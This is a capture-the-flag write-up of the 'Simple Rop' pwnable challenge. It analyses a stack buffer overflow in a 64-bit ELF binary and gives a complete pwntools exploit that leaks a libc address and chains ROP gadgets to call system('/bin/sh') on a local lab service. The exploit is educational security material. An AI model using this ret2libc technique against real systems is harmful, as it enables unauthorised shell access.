# [PWNABLE] Simple Rop
:::warning
Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission.
:::
## Analysis
This is a challenge that exploits a stack-based buffer overflow vulnerability.
```
❯ rabin2 -I simple_rop
arch x86
baddr 0x400000
binsz 6428
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
```
Because NX bit (no-execute) is enabled, data cannot be executed as code, so you need to write ROP (Return Oriented Programming) exploit code.
## Vulnerability
```c
.text:0000000000400537 ; Attributes: bp-based frame
.text:0000000000400537 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400537 public main
.text:0000000000400537 main proc near
.text:0000000000400537 buf= byte ptr -10h
.text:0000000000400537 ; __unwind {
.text:0000000000400537 000 55 push rbp
.text:0000000000400538 008 48 89 E5 mov rbp, rsp
.text:000000000040053B 008 48 83 EC 10 sub rsp, 10h
.text:000000000040053F 018 BA 18 00 00 00 mov edx, 18h ; n
.text:0000000000400544 018 48 8D 35 B9 00 00 00 lea rsi, aRopIsFormulaIs ; "ROP is formula isn't it?"
.text:000000000040054B 018 BF 01 00 00 00 mov edi, 1 ; fd
.text:0000000000400550 018 E8 DB FE FF FF call _write
.text:0000000000400555 018 48 8D 45 F0 lea rax, [rbp+buf]
.text:0000000000400559 018 BA 98 00 00 00 mov edx, 98h ; nbytes
.text:000000000040055E 018 48 89 C6 mov rsi, rax ; buf
.text:0000000000400561 018 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000400566 018 E8 D5 FE FF FF call _read
.text:000000000040056B 018 B8 00 00 00 00 mov eax, 0
.text:0000000000400570 018 C9 leave
.text:0000000000400571 000 C3 retn
.text:0000000000400571 ; } // starts at 400537
.text:0000000000400571 main endp
```
A stack-based buffer overflow occurs because 0x98 data is read into the rbp-0x10 local variable area at address 0x400566.
## Exploit
```python
from pwn import *
io = remote('0', 4147)
elf = ELF('./simple_rop')
libc = ELF('./libc-2.27.so')
rop = ROP(libc)
payload = b'A'*0x18
payload += p64(0x4005DA)
'''
.text:00000000004005DA 030 5B pop rbx
.text:00000000004005DB 028 5D pop rbp
.text:00000000004005DC 020 41 5C pop r12
.text:00000000004005DE 018 41 5D pop r13
.text:00000000004005E0 010 41 5E pop r14
.text:00000000004005E2 008 41 5F pop r15
.text:00000000004005E4 000 C3 retn
'''
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(elf.got['write']) # r12
payload += p64(1) # r13
payload += p64(elf.got['read']) # r14
payload += p64(8) # r15
payload += p64(0x4005C0)
'''
.text:00000000004005C0 038 4C 89 FA mov rdx, r15
.text:00000000004005C3 038 4C 89 F6 mov rsi, r14
.text:00000000004005C6 038 44 89 EF mov edi, r13d
.text:00000000004005C9 038 41 FF 14 DC call [r12+rbx*8]
'''
payload += p64(0)*7
payload += p64(0x400450) # _start
io.sendafter('it?', payload)
leak = u64(io.recv(8))
base = leak - libc.symbols['read']
print('libc base : {:x}'.format(base))
system = base + libc.symbols['system']
poprdi = base + rop.find_gadget(['pop rdi', 'ret'])[0]
binsh = base + next(libc.search(b'/bin/sh\0'))
payload = b'A'*0x18
payload += p64(poprdi + 1)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(system)
io.sendafter('it?', payload)
io.interactive()
```